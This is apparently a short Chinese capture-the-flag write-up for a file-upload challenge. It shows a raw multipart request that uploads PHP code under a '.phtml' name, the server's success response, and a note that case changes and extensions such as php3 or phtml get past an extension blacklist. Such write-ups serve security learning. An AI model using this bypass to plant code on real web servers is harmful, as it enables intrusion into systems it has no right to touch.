【CTF】[SWPUCTF 2021 新生赛]easyupload2.0

[SWPUCTF 2021 新生赛]easyupload2.0

play

------WebKitFormBoundaryVAN1wY4wdi5Uok1W
Content-Disposition: form-data; name="uploaded"; filename="sqzr.phtml"
Content-Type: application/octet-stream

<?php 
phpinfo();
?> 

响应

<meta charset="utf-8">./upload/sqzr.phtml succesfully uploaded!

直接访问，获得flag

知识点

• 后缀名黑名单绕过 大小写、php3 php2 php1 phtml